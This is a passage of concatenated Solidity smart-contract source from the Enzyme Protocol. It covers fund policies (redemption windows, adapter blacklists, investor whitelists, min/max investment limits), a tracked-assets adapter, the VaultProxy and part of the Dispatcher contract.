address[] memory _redemptionBlockingAdapters
) public PolicyBase(_policyManager) FundDeployerOwnerMixin(_fundDeployer) {
redemptionWindowBuffer = _redemptionWindowBuffer;
__addRedemptionBlockingAdapters(_redemptionBlockingAdapters);
}
// EXTERNAL FUNCTIONS
/// @notice Add the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
(uint256 startTimestamp, uint256 duration) = abi.decode(
_encodedSettings,
(uint256, uint256)
);
if (startTimestamp == 0) {
require(duration == 0, "addFundSettings: duration must be 0 if startTimestamp is 0");
return;
}
// Use 23 hours instead of 1 day to allow up to 1 hr of redemptionWindowBuffer
require(
duration > 0 && duration <= 23 hours,
"addFundSettings: duration must be between 1 second and 23 hours"
);
comptrollerProxyToRedemptionWindow[_comptrollerProxy].startTimestamp = startTimestamp;
comptrollerProxyToRedemptionWindow[_comptrollerProxy].duration = duration;
emit FundSettingsSet(_comptrollerProxy, startTimestamp, duration);
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "GUARANTEED_REDEMPTION";
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _adapter The adapter for which to check the rule
/// @return isValid_ True if the rule passes
function passesRule(address _comptrollerProxy, address _adapter)
public
view
returns (bool isValid_)
{
if (!adapterCanBlockRedemption(_adapter)) {
return true;
}
RedemptionWindow memory redemptionWindow
= comptrollerProxyToRedemptionWindow[_comptrollerProxy];
// If no RedemptionWindow is set, the fund can never use redemption-blocking adapters
if (redemptionWindow.startTimestamp == 0) {
return false;
}
uint256 latestRedemptionWindowStart = calcLatestRedemptionWindowStart(
redemptionWindow.startTimestamp
);
// A fund can't trade during its redemption window, nor in the buffer beforehand.
// The lower bound is only relevant when the startTimestamp is in the future,
// so we check it last.
if (
block.timestamp >= latestRedemptionWindowStart.add(redemptionWindow.duration) ||
block.timestamp <= latestRedemptionWindowStart.sub(redemptionWindowBuffer)
) {
return true;
}
return false;
}
/// @notice Sets a new value for the redemptionWindowBuffer variable
/// @param _nextRedemptionWindowBuffer The number of seconds for the redemptionWindowBuffer
/// @dev The redemptionWindowBuffer is added to the beginning of the redemption window,
/// and should always be >= the longest potential block on redemption amongst all adapters.
/// (e.g., Synthetix blocks token transfers during a timelock after trading synths)
function setRedemptionWindowBuffer(uint256 _nextRedemptionWindowBuffer)
external
onlyFundDeployerOwner
{
uint256 prevRedemptionWindowBuffer = redemptionWindowBuffer;
require(
_nextRedemptionWindowBuffer != prevRedemptionWindowBuffer,
"setRedemptionWindowBuffer: Value already set"
);
redemptionWindowBuffer = _nextRedemptionWindowBuffer;
emit RedemptionWindowBufferSet(prevRedemptionWindowBuffer, _nextRedemptionWindowBuffer);
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(address adapter, ) = __decodeRuleArgs(_encodedArgs);
return passesRule(_comptrollerProxy, adapter);
}
// PUBLIC FUNCTIONS
/// @notice Calculates the start of the most recent redemption window
/// @param _startTimestamp The initial startTimestamp for the redemption window
/// @return latestRedemptionWindowStart_ The starting timestamp of the most recent redemption window
function calcLatestRedemptionWindowStart(uint256 _startTimestamp)
public
view
returns (uint256 latestRedemptionWindowStart_)
{
if (block.timestamp <= _startTimestamp) {
return _startTimestamp;
}
uint256 timeSinceStartTimestamp = block.timestamp.sub(_startTimestamp);
uint256 timeSincePeriodStart = timeSinceStartTimestamp.mod(ONE_DAY);
return block.timestamp.sub(timeSincePeriodStart);
}
///////////////////////////////////////////
// REDEMPTION-BLOCKING ADAPTERS REGISTRY //
///////////////////////////////////////////
/// @notice Add adapters which can block shares redemption
/// @param _adapters The addresses of adapters to be added
function addRedemptionBlockingAdapters(address[] calldata _adapters)
external
onlyFundDeployerOwner
{
require(
_adapters.length > 0,
"__addRedemptionBlockingAdapters: _adapters cannot be empty"
);
__addRedemptionBlockingAdapters(_adapters);
}
/// @notice Remove adapters which can block shares redemption
/// @param _adapters The addresses of adapters to be removed
function removeRedemptionBlockingAdapters(address[] calldata _adapters)
external
onlyFundDeployerOwner
{
require(
_adapters.length > 0,
"removeRedemptionBlockingAdapters: _adapters cannot be empty"
);
for (uint256 i; i < _adapters.length; i++) {
require(
adapterCanBlockRedemption(_adapters[i]),
"removeRedemptionBlockingAdapters: adapter is not added"
);
adapterToCanBlockRedemption[_adapters[i]] = false;
emit AdapterRemoved(_adapters[i]);
}
}
/// @dev Helper to mark adapters that can block shares redemption
function __addRedemptionBlockingAdapters(address[] memory _adapters) private {
for (uint256 i; i < _adapters.length; i++) {
require(
_adapters[i] != address(0),
"__addRedemptionBlockingAdapters: adapter cannot be empty"
);
require(
!adapterCanBlockRedemption(_adapters[i]),
"__addRedemptionBlockingAdapters: adapter already added"
);
adapterToCanBlockRedemption[_adapters[i]] = true;
emit AdapterAdded(_adapters[i]);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `redemptionWindowBuffer` variable
/// @return redemptionWindowBuffer_ The `redemptionWindowBuffer` variable value
function getRedemptionWindowBuffer() external view returns (uint256 redemptionWindowBuffer_) {
return redemptionWindowBuffer;
}
/// @notice Gets the RedemptionWindow settings for a given fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return redemptionWindow_ The RedemptionWindow settings
function getRedemptionWindowForFund(address _comptrollerProxy)
external
view
returns (RedemptionWindow memory redemptionWindow_)
{
return comptrollerProxyToRedemptionWindow[_comptrollerProxy];
}
/// @notice Checks whether an adapter can block shares redemption
/// @param _adapter The address of the adapter to check
/// @return canBlockRedemption_ True if the adapter can block shares redemption
function adapterCanBlockRedemption(address _adapter)
public
view
returns (bool canBlockRedemption_)
{
return adapterToCanBlockRedemption[_adapter];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../utils/AddressListPolicyMixin.sol";
import "./utils/PreCallOnIntegrationValidatePolicyBase.sol";
/// @title AdapterBlacklist Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that disallows a configurable blacklist of adapters from use by a fund
contract AdapterBlacklist is PreCallOnIntegrationValidatePolicyBase, AddressListPolicyMixin {
constructor(address _policyManager) public PolicyBase(_policyManager) {}
/// @notice Add the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
__addToList(_comptrollerProxy, abi.decode(_encodedSettings, (address[])));
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "ADAPTER_BLACKLIST";
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _adapter The adapter with which to check the rule
/// @return isValid_ True if the rule passes
function passesRule(address _comptrollerProxy, address _adapter)
public
view
returns (bool isValid_)
{
return !isInList(_comptrollerProxy, _adapter);
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(address adapter, ) = __decodeRuleArgs(_encodedArgs);
return passesRule(_comptrollerProxy, adapter);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../utils/AddressListPolicyMixin.sol";
import "./utils/PreBuySharesValidatePolicyBase.sol";
/// @title InvestorWhitelist Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that only allows a configurable whitelist of investors to buy shares in a fund
contract InvestorWhitelist is PreBuySharesValidatePolicyBase, AddressListPolicyMixin {
constructor(address _policyManager) public PolicyBase(_policyManager) {}
/// @notice Adds the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
__updateList(_comptrollerProxy, _encodedSettings);
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "INVESTOR_WHITELIST";
}
/// @notice Updates the policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function updateFundSettings(
address _comptrollerProxy,
address,
bytes calldata _encodedSettings
) external override onlyPolicyManager {
__updateList(_comptrollerProxy, _encodedSettings);
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _investor The investor for which to check the rule
/// @return isValid_ True if the rule passes
function passesRule(address _comptrollerProxy, address _investor)
public
view
returns (bool isValid_)
{
return isInList(_comptrollerProxy, _investor);
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(address buyer, , , ) = __decodeRuleArgs(_encodedArgs);
return passesRule(_comptrollerProxy, buyer);
}
/// @dev Helper to update the investor whitelist by adding and/or removing addresses
function __updateList(address _comptrollerProxy, bytes memory _settingsData) private {
(address[] memory itemsToAdd, address[] memory itemsToRemove) = abi.decode(
_settingsData,
(address[], address[])
);
// If an address is in both add and remove arrays, they will not be in the final list.
// We do not check for uniqueness between the two arrays for efficiency.
if (itemsToAdd.length > 0) {
__addToList(_comptrollerProxy, itemsToAdd);
}
if (itemsToRemove.length > 0) {
__removeFromList(_comptrollerProxy, itemsToRemove);
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../utils/PolicyBase.sol";
/// @title BuySharesPolicyMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract for policies that only implement the PreBuyShares policy hook
abstract contract PreBuySharesValidatePolicyBase is PolicyBase {
/// @notice Gets the implemented PolicyHooks for a policy
/// @return implementedHooks_ The implemented PolicyHooks
function implementedHooks()
external
view
override
returns (IPolicyManager.PolicyHook[] memory implementedHooks_)
{
implementedHooks_ = new IPolicyManager.PolicyHook[](1);
implementedHooks_[0] = IPolicyManager.PolicyHook.PreBuyShares;
return implementedHooks_;
}
/// @notice Helper to decode rule arguments
function __decodeRuleArgs(bytes memory _encodedArgs)
internal
pure
returns (
address buyer_,
uint256 investmentAmount_,
uint256 minSharesQuantity_,
uint256 gav_
)
{
return abi.decode(_encodedArgs, (address, uint256, uint256, uint256));
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./utils/PreBuySharesValidatePolicyBase.sol";
/// @title MinMaxInvestment Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that restricts the amount of the fund's denomination asset that a user can
/// send in a single call to buy shares in a fund
contract MinMaxInvestment is PreBuySharesValidatePolicyBase {
event FundSettingsSet(
address indexed comptrollerProxy,
uint256 minInvestmentAmount,
uint256 maxInvestmentAmount
);
struct FundSettings {
uint256 minInvestmentAmount;
uint256 maxInvestmentAmount;
}
mapping(address => FundSettings) private comptrollerProxyToFundSettings;
constructor(address _policyManager) public PolicyBase(_policyManager) {}
/// @notice Adds the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
__setFundSettings(_comptrollerProxy, _encodedSettings);
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "MIN_MAX_INVESTMENT";
}
/// @notice Updates the policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function updateFundSettings(
address _comptrollerProxy,
address,
bytes calldata _encodedSettings
) external override onlyPolicyManager {
__setFundSettings(_comptrollerProxy, _encodedSettings);
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _investmentAmount The investment amount for which to check the rule
/// @return isValid_ True if the rule passes
function passesRule(address _comptrollerProxy, uint256 _investmentAmount)
public
view
returns (bool isValid_)
{
uint256 minInvestmentAmount = comptrollerProxyToFundSettings[_comptrollerProxy]
.minInvestmentAmount;
uint256 maxInvestmentAmount = comptrollerProxyToFundSettings[_comptrollerProxy]
.maxInvestmentAmount;
// Both minInvestmentAmount and maxInvestmentAmount can be 0 in order to close the fund
// temporarily
if (minInvestmentAmount == 0) {
return _investmentAmount <= maxInvestmentAmount;
} else if (maxInvestmentAmount == 0) {
return _investmentAmount >= minInvestmentAmount;
}
return
_investmentAmount >= minInvestmentAmount && _investmentAmount <= maxInvestmentAmount;
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(, uint256 investmentAmount, , ) = __decodeRuleArgs(_encodedArgs);
return passesRule(_comptrollerProxy, investmentAmount);
}
/// @dev Helper to set the policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function __setFundSettings(address _comptrollerProxy, bytes memory _encodedSettings) private {
(uint256 minInvestmentAmount, uint256 maxInvestmentAmount) = abi.decode(
_encodedSettings,
(uint256, uint256)
);
require(
maxInvestmentAmount == 0 || minInvestmentAmount < maxInvestmentAmount,
"__setFundSettings: minInvestmentAmount must be less than maxInvestmentAmount"
);
comptrollerProxyToFundSettings[_comptrollerProxy]
.minInvestmentAmount = minInvestmentAmount;
comptrollerProxyToFundSettings[_comptrollerProxy]
.maxInvestmentAmount = maxInvestmentAmount;
emit FundSettingsSet(_comptrollerProxy, minInvestmentAmount, maxInvestmentAmount);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the min and max investment amount for a given fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return fundSettings_ The fund settings
function getFundSettings(address _comptrollerProxy)
external
view
returns (FundSettings memory fundSettings_)
{
return comptrollerProxyToFundSettings[_comptrollerProxy];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../utils/AddressListPolicyMixin.sol";
import "./utils/BuySharesSetupPolicyBase.sol";
/// @title BuySharesCallerWhitelist Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that only allows a configurable whitelist of buyShares callers for a fund
contract BuySharesCallerWhitelist is BuySharesSetupPolicyBase, AddressListPolicyMixin {
constructor(address _policyManager) public PolicyBase(_policyManager) {}
/// @notice Adds the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
__updateList(_comptrollerProxy, _encodedSettings);
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "BUY_SHARES_CALLER_WHITELIST";
}
/// @notice Updates the policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function updateFundSettings(
address _comptrollerProxy,
address,
bytes calldata _encodedSettings
) external override onlyPolicyManager {
__updateList(_comptrollerProxy, _encodedSettings);
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _buySharesCaller The buyShares caller for which to check the rule
/// @return isValid_ True if the rule passes
function passesRule(address _comptrollerProxy, address _buySharesCaller)
public
view
returns (bool isValid_)
{
return isInList(_comptrollerProxy, _buySharesCaller);
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(address caller, , ) = __decodeRuleArgs(_encodedArgs);
return passesRule(_comptrollerProxy, caller);
}
/// @dev Helper to update the whitelist by adding and/or removing addresses
function __updateList(address _comptrollerProxy, bytes memory _settingsData) private {
(address[] memory itemsToAdd, address[] memory itemsToRemove) = abi.decode(
_settingsData,
(address[], address[])
);
// If an address is in both add and remove arrays, they will not be in the final list.
// We do not check for uniqueness between the two arrays for efficiency.
if (itemsToAdd.length > 0) {
__addToList(_comptrollerProxy, itemsToAdd);
}
if (itemsToRemove.length > 0) {
__removeFromList(_comptrollerProxy, itemsToRemove);
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../utils/PolicyBase.sol";
/// @title BuySharesSetupPolicyBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract for policies that only implement the BuySharesSetup policy hook
abstract contract BuySharesSetupPolicyBase is PolicyBase {
/// @notice Gets the implemented PolicyHooks for a policy
/// @return implementedHooks_ The implemented PolicyHooks
function implementedHooks()
external
view
override
returns (IPolicyManager.PolicyHook[] memory implementedHooks_)
{
implementedHooks_ = new IPolicyManager.PolicyHook[](1);
implementedHooks_[0] = IPolicyManager.PolicyHook.BuySharesSetup;
return implementedHooks_;
}
/// @notice Helper to decode rule arguments
function __decodeRuleArgs(bytes memory _encodedArgs)
internal
pure
returns (
address caller_,
uint256[] memory investmentAmounts_,
uint256 gav_
)
{
return abi.decode(_encodedArgs, (address, uint256[], uint256));
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../core/fund/vault/VaultLib.sol";
import "../utils/AdapterBase.sol";
/// @title TrackedAssetsAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter to add tracked assets to a fund (useful e.g. to handle token airdrops)
contract TrackedAssetsAdapter is AdapterBase {
constructor(address _integrationManager) public AdapterBase(_integrationManager) {}
/// @notice Add multiple assets to the Vault's list of tracked assets
/// @dev No need to perform any validation or implement any logic
function addTrackedAssets(
address,
bytes calldata,
bytes calldata
) external view {}
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "TRACKED_ASSETS";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
require(
_selector == ADD_TRACKED_ASSETS_SELECTOR,
"parseAssetsForMethod: _selector invalid"
);
incomingAssets_ = __decodeCallArgs(_encodedCallArgs);
minIncomingAssetAmounts_ = new uint256[](incomingAssets_.length);
for (uint256 i; i < minIncomingAssetAmounts_.length; i++) {
minIncomingAssetAmounts_[i] = 1;
}
return (
spendAssetsHandleType_,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode the encoded call arguments
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (address[] memory incomingAssets_)
{
return abi.decode(_encodedCallArgs, (address[]));
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./utils/ProxiableVaultLib.sol";
/// @title VaultProxy Contract
/// @author Enzyme Council <[email protected]>
/// @notice A proxy contract for all VaultProxy instances, slightly modified from EIP-1822
/// @dev Adapted from the recommended implementation of a Proxy in EIP-1822, updated for solc 0.6.12,
/// and using the EIP-1967 storage slot for the proxiable implementation.
/// i.e., `bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)`, which is
/// "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"
/// See: https://eips.ethereum.org/EIPS/eip-1822
contract VaultProxy {
constructor(bytes memory _constructData, address _vaultLib) public {
// "0x027b9570e9fedc1a80b937ae9a06861e5faef3992491af30b684a64b3fbec7a5" corresponds to
// `bytes32(keccak256('mln.proxiable.vaultlib'))`
require(
bytes32(0x027b9570e9fedc1a80b937ae9a06861e5faef3992491af30b684a64b3fbec7a5) ==
ProxiableVaultLib(_vaultLib).proxiableUUID(),
"constructor: _vaultLib not compatible"
);
assembly {
// solium-disable-line
sstore(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, _vaultLib)
}
(bool success, bytes memory returnData) = _vaultLib.delegatecall(_constructData); // solium-disable-line
require(success, string(returnData));
}
fallback() external payable {
assembly {
// solium-disable-line
let contractLogic := sload(
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
)
calldatacopy(0x0, 0x0, calldatasize())
let success := delegatecall(
sub(gas(), 10000),
contractLogic,
0x0,
calldatasize(),
0,
0
)
let retSz := returndatasize()
returndatacopy(0, 0, retSz)
switch success
case 0 {
revert(0, retSz)
}
default {
return(0, retSz)
}
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../utils/IMigrationHookHandler.sol";
import "../utils/IMigratableVault.sol";
import "../vault/VaultProxy.sol";
import "./IDispatcher.sol";
/// @title Dispatcher Contract
/// @author Enzyme Council <[email protected]>
/// @notice The top-level contract linking multiple releases.
/// It handles the deployment of new VaultProxy instances,
/// and the regulation of fund migration from a previous release to the current one.
/// It can also be referred to for access-control based on this contract's owner.
/// @dev DO NOT EDIT CONTRACT
contract Dispatcher is IDispatcher {
event CurrentFundDeployerSet(address prevFundDeployer, address nextFundDeployer);
event MigrationCancelled(
address indexed vaultProxy,
address indexed prevFundDeployer,
address indexed nextFundDeployer,
address nextVaultAccessor,
address nextVaultLib,
uint256 executableTimestamp
);
event MigrationExecuted(
address indexed vaultProxy,
address indexed prevFundDeployer,
address indexed nextFundDeployer,
address nextVaultAccessor,
address nextVaultLib,
uint256 executableTimestamp
);
event MigrationSignaled(
address indexed vaultProxy,
address indexed prevFundDeployer,
address indexed nextFundDeployer,
address nextVaultAccessor,
address nextVaultLib,
uint256 executableTimestamp
);
event MigrationTimelockSet(uint256 prevTimelock, uint256 nextTimelock);
event NominatedOwnerSet(address indexed nominatedOwner);
event NominatedOwnerRemoved(address indexed nominatedOwner);
event OwnershipTransferred(address indexed prevOwner, address indexed nextOwner);
event MigrationInCancelHookFailed(
bytes failureReturnData,
address indexed vaultProxy,
address indexed prevFundDeployer,
address indexed nextFundDeployer,
address nextVaultAccessor,
address nextVaultLib
);
event MigrationOutHookFailed(
bytes failureReturnData,
IMigrationHookHandler.MigrationOutHook hook,
address indexed vaultProxy,
address indexed prevFundDeployer,
address indexed nextFundDeployer,
address nextVaultAccessor,
address nextVaultLib
);
event SharesTokenSymbolSet(string _nextSymbol);
event VaultProxyDeployed(
address indexed fundDeployer,
address indexed owner,
address vaultProxy,
address indexed vaultLib,
address vaultAccessor,
string fundName
);
struct MigrationRequest {
address nextFundDeployer;
address nextVaultAccessor;
address nextVaultLib;
uint256 executableTimestamp;
}
address private currentFundDeployer;
address private nominatedOwner;
address private owner;
uint256 private migrationTimelock;
string private sharesTokenSymbol;
mapping(address => address) private vaultProxyToFundDeployer;
mapping(address => MigrationRequest) private vaultProxyToMigrationRequest;
modifier onlyCurrentFundDeployer() {
require(
msg.sender == currentFundDeployer,
"Only the current FundDeployer can call this function"
);
_;
}
modifier onlyOwner() {
require(msg.sender == owner, "Only the contract owner can call this function");
_;
}
constructor() public {
migrationTimelock = 2 days;
owner = msg.sender;
sharesTokenSymbol = "ENZF";
}
/////////////
// GENERAL //
/////////////
/// @notice Sets a new `symbol` value for VaultProxy instances
/// @param _nextSymbol The symbol value to set
function setSharesTokenSymbol(string calldata _nextSymbol) external override onlyOwner {
sharesTokenSymbol = _nextSymbol;
emit SharesTokenSymbolSet(_nextSymbol);
}
////////////////////
// ACCESS CONTROL //
////////////////////
/// @notice Claim ownership of the contract
function claimOwnership() external override {
address nextOwner = nominatedOwner;
require(
msg.sender == nextOwner,
"claimOwnership: Only the nominatedOwner can call this function"
);
delete nominatedOwner;
address prevOwner = owner;
owner = nextOwner;
emit OwnershipTransferred(prevOwner, nextOwner);
}
/// @notice Revoke the nomination of a new contract owner
function removeNominatedOwner() external override onlyOwner {
address removedNominatedOwner = nominatedOwner;
require(
removedNominatedOwner != address(0),
"removeNominatedOwner: There is no nominated owner"
);
delete nominatedOwner;
emit NominatedOwnerRemoved(removedNominatedOwner);
}
/// @notice Set a new FundDeployer for use within the contract
/// @param _nextFundDeployer The address of the FundDeployer contract
function setCurrentFundDeployer(address _nextFundDeployer) external override onlyOwner {
require(
_nextFundDeployer != address(0),
"setCurrentFundDeployer: _nextFundDeployer cannot be empty"
);
require(
__isContract(_nextFundDeployer),
"setCurrentFundDeployer: Non-contract _nextFundDeployer"
);
address prevFundDeployer = currentFundDeployer;
require(
_nextFundDeployer != prevFundDeployer,
"setCurrentFundDeployer: _nextFundDeployer is already currentFundDeployer"
);
currentFundDeployer = _nextFundDeployer;
emit CurrentFundDeployerSet(prevFundDeployer, _nextFundDeployer);
}
/// @notice Nominate a new contract owner
/// @param _nextNominatedOwner The account to nominate
/// @dev Does not prohibit overwriting the current nominatedOwner
function setNominatedOwner(address _nextNominatedOwner) external override onlyOwner {
require(
_nextNominatedOwner != address(0),
"setNominatedOwner: _nextNominatedOwner cannot be empty"
);
require(
_nextNominatedOwner != owner,
"setNominatedOwner: _nextNominatedOwner is already the owner"
);
require(
_nextNominatedOwner != nominatedOwner,
"setNominatedOwner: _nextNominatedOwner is already nominated"
);
nominatedOwner = _nextNominatedOwner;
emit NominatedOwnerSet(_nextNominatedOwner);
}
/// @dev Helper to check whether an address is a deployed contract
function __isContract(address _who) private view returns (bool isContract_) {
uint256 size;
assembly {
size := extcodesize(_who)
}
return size > 0;
}
////////////////
// DEPLOYMENT //
////////////////
/// @notice Deploys a VaultProxy
/// @param _vaultLib The VaultLib library with which to instantiate the VaultProxy
/// @param _owner The account to set as the VaultProxy's owner
/// @param _vaultAccessor The account to set as the VaultProxy's permissioned accessor
/// @param _fundName The name of the fund
/// @dev Input validation should be handled by the VaultProxy during deployment
function deployVaultProxy(
address _vaultLib,
address _owner,
address _vaultAccessor,
string calldata _fundName
) external override onlyCurrentFundDeployer returns (address vaultProxy_) {
require(__isContract(_vaultAccessor), "deployVaultProxy: Non-contract _vaultAccessor");
bytes memory constructData = abi.encodeWithSelector(
IMigratableVault.init.selector,
_owner,
_vaultAccessor,
_fundName
);
vaultProxy_ = address(new VaultProxy(constructData, _vaultLib));
address fundDeployer = msg.sender;
vaultProxyToFundDeployer[vaultProxy_] = fundDeployer;
emit VaultProxyDeployed(
fundDeployer,
_owner,
vaultProxy_,
_vaultLib,
_vaultAccessor,
_fundName
);
return vaultProxy_;
}
////////////////
// MIGRATIONS //
////////////////
/// @notice Cancels a pending migration request
/// @param _vaultProxy The VaultProxy contract for which to cancel the migration request
/// @param _bypassFailure True if a failure in either migration hook should be ignored
/// @dev Because this function must also be callable by a permissioned migrator, it has an
/// extra migration hook to the nextFundDeployer for the case where cancelMigration()
/// is called directly (rather than via the nextFundDeployer).
function cancelMigration(address _vaultProxy, bool _bypassFailure) external override {
